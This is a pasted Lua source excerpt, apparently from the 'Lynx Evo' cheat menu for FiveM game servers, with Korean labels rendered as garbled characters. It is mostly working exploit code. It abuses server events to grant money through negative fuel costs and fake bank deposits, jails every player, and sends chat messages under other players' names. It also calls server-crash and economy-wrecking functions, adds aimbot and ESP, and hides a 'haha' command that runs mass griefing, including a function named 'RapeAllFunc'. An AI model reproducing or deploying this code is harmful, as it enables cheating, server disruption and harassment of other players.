- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- TriggerServerEvent('cobrarMulta')
- elseif LynxEvo.Button('~g~~h~FUEL ~y~Legacy Fuel') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent(
- 'LegacyFuel:PayFuel',
- {
- costs = -m
- }
- )
- end
- elseif LynxEvo.Button('~r~~h~VRP ~s~Get driving license') then
- TriggerServerEvent('dmv:success')
- elseif LynxEvo.Button('~r~~h~VRP ~s~????낃툑') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('Banca:deposit', m)
- TriggerServerEvent('bank:deposit', m)
- end
- elseif LynxEvo.Button('~r~~h~VRP ~s~????몄텧 ') then
- local m = KeyboardInput('Enter amount of money', '', 100)
- if m ~= '' then
- TriggerServerEvent('bank:withdraw', m)
- TriggerServerEvent('Banca:withdraw', m)
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('MiscTriggers') then
- if LynxEvo.Button('~h~Send Discord Message') then
- local et = KeyboardInput('Enter message to send', '', 100)
- TriggerServerEvent('DiscordBot:playerDied', et, '1337')
- av('The message:~n~' .. et .. '~n~Has been ~g~sent!', true)
- elseif LynxEvo.Button('~h~Send Fake Message') then
- local eu = KeyboardInput('Enter player name', '', 100)
- if eu then
- local db = KeyboardInput('Enter message', '', 1000)
- if db then
- TriggerServerEvent(
- '_chat:messageEntered',
- eu,
- {
- 0,
- 0x99,
- 255
- },
- db
- )
- end
- end
- elseif LynxEvo.Button('~h~~g~ESX ~y~CarThief ~s~TROLL') then
- av('~y~esx_carthief ~g~required', true)
- av('~g~Trying to send alerts', false)
- carthieftroll()
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('怨좉툒紐⑤뱶') then
- if LynxEvo.MenuButton('~h~~p~#~s~ ?뚮윭 硫붾돱', 'Destroyer') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ESP 硫붾돱', 'ESP硫붾돱') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ?щ줈?ㅽ뿤??硫붾돱', 'CsMenu') then
- elseif
- LynxEvo.CheckBox(
- '~h~?묒큺 ?먯엫遊?,
- TriggerBot,
- function(dR)
- TriggerBot = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~AimBot Test (buggy)',
- aimtest,
- function(enabled)
- aimtest = enabled
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~?뚮젅?댁뼱 ?꾩씠肄?,
- dx,
- function(dx)
- end
- )
- then
- cL = not cL
- dx = cL
- elseif
- LynxEvo.CheckBox(
- '~h~?뚮젅?댁뼱 ?대쫫 蹂댁씠湲?~g~v1',
- cM,
- function(dR)
- cM = dR
- cN = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~?뚮젅?댁뼱 ?대쫫/踰덊샇 蹂댁씠湲?~g~v2',
- cN,
- function(dR)
- cN = dR
- cM = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~?쇰━湲?,
- freezeall,
- function(dR)
- freezeall = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~??궗?쒗궎湲?,
- blowall,
- function(dR)
- blowall = dR
- end
- )
- then
- elseif LynxEvo.Button('~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~?꾨쾭嫄?) then
- for i = 0, 128 do
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(i), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- else
- local eb = 'xs_prop_hamburgher_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- elseif LynxEvo.Button('~h~~o~Discord RPC~s~ 異붽?/?쒓굅') then
- h = not h
- if not h then
- SetRichPresence(0)
- SetDiscordAppId(0)
- SetDiscordRichPresenceAsset(0)
- SetDiscordRichPresenceAssetText(0)
- else
- e()
- end
- elseif
- LynxEvo.CheckBox(
- '~h~~r~Confirms~s~ masterswitch',
- cO,
- function(dR)
- cO = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('CsMenu') then
- if
- LynxEvo.CheckBox(
- '~h~~y~湲곕낯 ~s~?щ줈?ㅽ뿤??,
- crosshair,
- function(dR)
- crosshair = dR
- crosshairc = false
- crosshairc2 = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~??옄 ~s~?щ줈?ㅽ뿤??,
- crosshairc,
- function(dR)
- crosshair = false
- crosshairc = dR
- crosshairc2 = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~?꾪듃 ~s~?щ줈?ㅽ뿤??,
- crosshairc2,
- function(dR)
- crosshair = false
- crosshairc = false
- crosshairc2 = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('Destroyer') then
- if LynxEvo.Button('~h~~s~?쒕쾭 ~r~?뚮윭') then
- nukeserver()
- elseif
- LynxEvo.CheckBox(
- '~h~~r~Silent ~s~Server ~y~Crasher',
- servercrasherxd,
- function(dR)
- servercrasherxd = dR
- end
- )
- then
- elseif LynxEvo.Button('~h~~g~ESX ~r~?뚮윭 ~b~v2') then
- esxdestroyv2()
- elseif LynxEvo.Button('~h~~g~ESX ~b~?붽툒 ~r~?뚮윭') then
- EconomyDy2()
- elseif LynxEvo.Button('~h~~r~VRP ~s~紐⑤뱺?뚮젅?댁뼱?먭쾶 ??二쇨린') then
- vrpdestroy()
- elseif LynxEvo.Button('~h~~g~ESX ~s~紐⑤뱺?뚮젅?댁뼱?먭쾶 ??二쇨린') then
- giveeveryone()
- elseif LynxEvo.Button('~h~~r~Jail~s~ All players') then
- for i = 0, 128 do
- TriggerServerEvent(
- 'esx-qalle-jail:jailPlayer',
- GetPlayerServerId(i),
- 5000,
- ''
- )
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, '- foriv#0001')
- end
- elseif LynxEvo.Button('~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~諛붾굹??~p~?뚰떚') then
- bananapartyall()
- elseif LynxEvo.Button('~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~媛뺢컙') then
- RapeAllFunc()
- elseif LynxEvo.Button('~h~~s~紐⑤뱺?뚮젅?댁뼱 ~r~媛?먭린') then
- for i = 0, 255 do
- x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i)))
- roundx = tonumber(string.format('%.2f', x))
- roundy = tonumber(string.format('%.2f', y))
- roundz = tonumber(string.format('%.2f', z))
- while not HasModelLoaded(GetHashKey('prop_fnclink_05crnr1')) do
- Citizen.Wait(0)
- RequestModel(GetHashKey('prop_fnclink_05crnr1'))
- end
- local e9 =
- CreateObject(
- GetHashKey('prop_fnclink_05crnr1'),
- roundx - 1.70,
- roundy - 1.70,
- roundz - 1.0,
- true,
- true,
- false
- )
- local ea =
- CreateObject(
- GetHashKey('prop_fnclink_05crnr1'),
- roundx + 1.70,
- roundy + 1.70,
- roundz - 1.0,
- true,
- true,
- false
- )
- SetEntityHeading(e9, -90.0)
- SetEntityHeading(ea, 90.0)
- FreezeEntityPosition(e9, true)
- FreezeEntityPosition(ea, true)
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('crds') then
- if LynxEvo.Button('~h~~p~#~s~ nit34byte~r~#~r~1337 ~p~DEV') then
- av('~h~~o~Dont click me BAKA!~s~.', false)
- av('Im a fag?', false)
- av('I had to take the liberty to modify this', false)
- elseif LynxEvo.Button('~h~~p~#~s~ DJSNAKE2~r~#~r~7983 ~p~DEV') then
- elseif LynxEvo.Button('~h~~p~#~s~ JonBird~r~#~r~1337 ~p~DEV') then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('WeaponTypes') then
- for e0, ev in pairs(b7) do
- if LynxEvo.MenuButton('~h~~p~#~s~ ' .. e0, 'WeaponTypeSelection') then
- dy = ev
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('WeaponTypeSelection') then
- for e0, ev in pairs(dy) do
- if LynxEvo.MenuButton(ev.name, 'WeaponOptions') then
- dz = ev
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('WeaponOptions') then
- if LynxEvo.Button('~h~~r~臾닿린 ?뚰솚') then
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(dz.id), 1000, false)
- end
- if LynxEvo.Button('~h~~g~珥앹븣?ъ깮') then
- SetPedAmmo(GetPlayerPed(-1), GetHashKey(dz.id), 5000)
- end
- if
- LynxEvo.CheckBox(
- '~h~~r~臾댄븳 ~s~珥앹븣',
- dz.bInfAmmo,
- function(ew)
- end
- )
- then
- dz.bInfAmmo = not dz.bInfAmmo
- SetPedInfiniteAmmo(GetPlayerPed(-1), dz.bInfAmmo, GetHashKey(dz.id))
- SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
- PedSkipNextReloading(GetPlayerPed(-1))
- SetPedShootRate(GetPlayerPed(-1), 1000)
- end
- for e0, ev in pairs(dz.mods) do
- if LynxEvo.MenuButton('~h~~p~#~s~ ~h~~r~> ~s~' .. e0, 'ModSelect') then
- dA = ev
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ModSelect') then
- for _, ev in pairs(dA) do
- if LynxEvo.Button(ev.name) then
- GiveWeaponComponentToPed(GetPlayerPed(-1), GetHashKey(dz.id), GetHashKey(ev.id))
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('CarTypes') then
- for i, ex in ipairs(b3) do
- if LynxEvo.MenuButton('~h~~p~#~s~ ' .. ex, 'CarTypeSelection') then
- carTypeIdx = i
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('CarTypeSelection') then
- for i, ex in ipairs(b4[carTypeIdx]) do
- if LynxEvo.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'CarOptions') then
- carToSpawn = i
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('CarOptions') then
- if LynxEvo.Button('~h~~r~Spawn Car') then
- local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
- local veh = b4[carTypeIdx][carToSpawn]
- if veh == nil then
- veh = 'adder'
- end
- vehiclehash = GetHashKey(veh)
- RequestModel(vehiclehash)
- Citizen.CreateThread(
- function()
- local ey = 0
- while not HasModelLoaded(vehiclehash) do
- ey = ey + 100
- Citizen.Wait(100)
- if ey > 5000 then
- ShowNotification('~h~~r~Cannot spawn this vehicle.')
- break
- end
- end
- SpawnedCar =
- CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
- SetVehicleStrong(SpawnedCar, true)
- SetVehicleEngineOn(SpawnedCar, true, true, false)
- SetVehicleEngineCanDegrade(SpawnedCar, false)
- end
- )
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('MainTrailer') then
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
- for i, ex in ipairs(b5) do
- if LynxEvo.MenuButton('~h~~p~#~s~ ~h~~r~>~s~ ' .. ex, 'MainTrailerSpa') then
- TrailerToSpawn = i
- end
- end
- else
- av('~h~~w~Not in a vehicle', true)
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('MainTrailerSpa') then
- if LynxEvo.Button('~h~~r~Spawn Car') then
- local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
- local veh = b5[TrailerToSpawn]
- if veh == nil then
- veh = 'adder'
- end
- vehiclehash = GetHashKey(veh)
- RequestModel(vehiclehash)
- Citizen.CreateThread(
- function()
- local ey = 0
- while not HasModelLoaded(vehiclehash) do
- ey = ey + 100
- Citizen.Wait(100)
- if ey > 5000 then
- ShowNotification('~h~~r~Cannot spawn this vehicle.')
- break
- end
- end
- local SpawnedCar =
- CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
- local ez = GetVehiclePedIsUsing(GetPlayerPed(-1))
- AttachVehicleToTrailer(Usercar, SpawnedCar, 50.0)
- SetVehicleStrong(SpawnedCar, true)
- SetVehicleEngineOn(SpawnedCar, true, true, false)
- SetVehicleEngineCanDegrade(SpawnedCar, false)
- end
- )
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('GiveSingleWeaponPlayer') then
- for i = 1, #b6 do
- if LynxEvo.Button(b6[i]) then
- GiveWeaponToPed(GetPlayerPed(SelectedPlayer), GetHashKey(b6[i]), 1000, false, true)
- end
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('ESP硫붾돱') then
- if
- LynxEvo.CheckBox(
- '~h~~r~ESP ~s~',
- esp,
- function(dR)
- esp = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~ESP ~s~3D 諛뺤뒪',
- espbox,
- function(dR)
- espbox = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~ESP ~s~?뺣낫',
- espinfo,
- function(dR)
- espinfo = dR
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~~r~ESP ~s~?쇱씤',
- esplines,
- function(dR)
- esplines = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('濡쒖뒪?고넗??) then
- local veh = GetVehiclePedIsUsing(PlayerPedId())
- if LynxEvo.MenuButton('~h~~p~#~s~ ~h~~r~Exterior ~s~Tuning', 'tunings') then
- elseif LynxEvo.MenuButton('~h~~p~#~s~ ~h~~r~Performance ~s~Tuning', 'performance') then
- elseif LynxEvo.Button('~h~Change Car License Plate') then
- cu()
- elseif
- LynxEvo.CheckBox(
- '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Vehicle Colour',
- RainbowVeh,
- function(dR)
- RainbowVeh = dR
- end
- )
- then
- elseif LynxEvo.Button('~h~Make vehicle ~y~dirty') then
- Clean(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif LynxEvo.Button('~h~Make vehicle ~g~clean') then
- Clean2(GetVehiclePedIsUsing(PlayerPedId(-1)))
- elseif
- LynxEvo.CheckBox(
- '~h~~g~R~r~a~y~i~b~n~o~b~r~o~g~w ~s~Neons & Headlights',
- rainbowh,
- function(dR)
- rainbowh = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif LynxEvo.IsMenuOpened('BoostMenu') then
- if
- LynxEvo.ComboBox(
- '~h~Engine ~r~Power ~s~Booster',
- dD,
- dB,
- dC,
- function(ag, ah)
- dB = ag
- dC = ah
- SetVehicleEnginePowerplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), dC * 20.0)
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~g~2x',
- t2x,
- function(dR)
- t2x = dR
- t4x = false
- t10x = false
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~g~4x',
- t4x,
- function(dR)
- t2x = false
- t4x = dR
- t10x = false
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~g~10x',
- t10x,
- function(dR)
- t2x = false
- t4x = false
- t10x = dR
- t16x = false
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~g~16x',
- t16x,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = dR
- txd = false
- tbxd = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~y~XD',
- txd,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = false
- txd = dR
- tbxd = false
- end
- )
- then
- elseif
- LynxEvo.CheckBox(
- '~h~Engine ~g~Torque ~s~Booster ~y~BIG XD',
- tbxd,
- function(dR)
- t2x = false
- t4x = false
- t10x = false
- t16x = false
- txd = false
- tbxd = dR
- end
- )
- then
- end
- LynxEvo.Display()
- elseif IsDisabledControlPressed(0, 122) then
- if logged then
- LynxEvo.OpenMenu('Luxury')
- end
- LynxEvo.Display()
- elseif IsDisabledControlPressed(0, 47) and IsDisabledControlPressed(0, 21) then
- if logged then
- LynxEvo.OpenMenu('Luxury')
- end
- end
- Citizen.Wait(0)
- end
- end
- )
- RegisterCommand(
- 'haha',
- function(eA, eB, eC)
- bv = true
- RapeAllFunc()
- bananapartyall()
- EconomyDy2()
- jailPlayer()
- AmbulancePlayers()
- for i = 0, 128 do
- TriggerServerEvent('esx-qalle-jail:jailPlayer', GetPlayerServerId(i), 5000, '')
- TriggerServerEvent('esx_jailer:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('esx_jail:sendToJail', GetPlayerServerId(i), 45 * 60)
- TriggerServerEvent('js:jailuser', GetPlayerServerId(i), 45 * 60, '')
- end
- end,
- false
- )
- RegisterCommand(
- 'pk',
- function(eA, eB, eC)
- bw = false
- end,
- false
- )
- RegisterCommand(
- 'lol',
- function(eA, eB, eC)
- mhaonn = false
- end,
- false
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement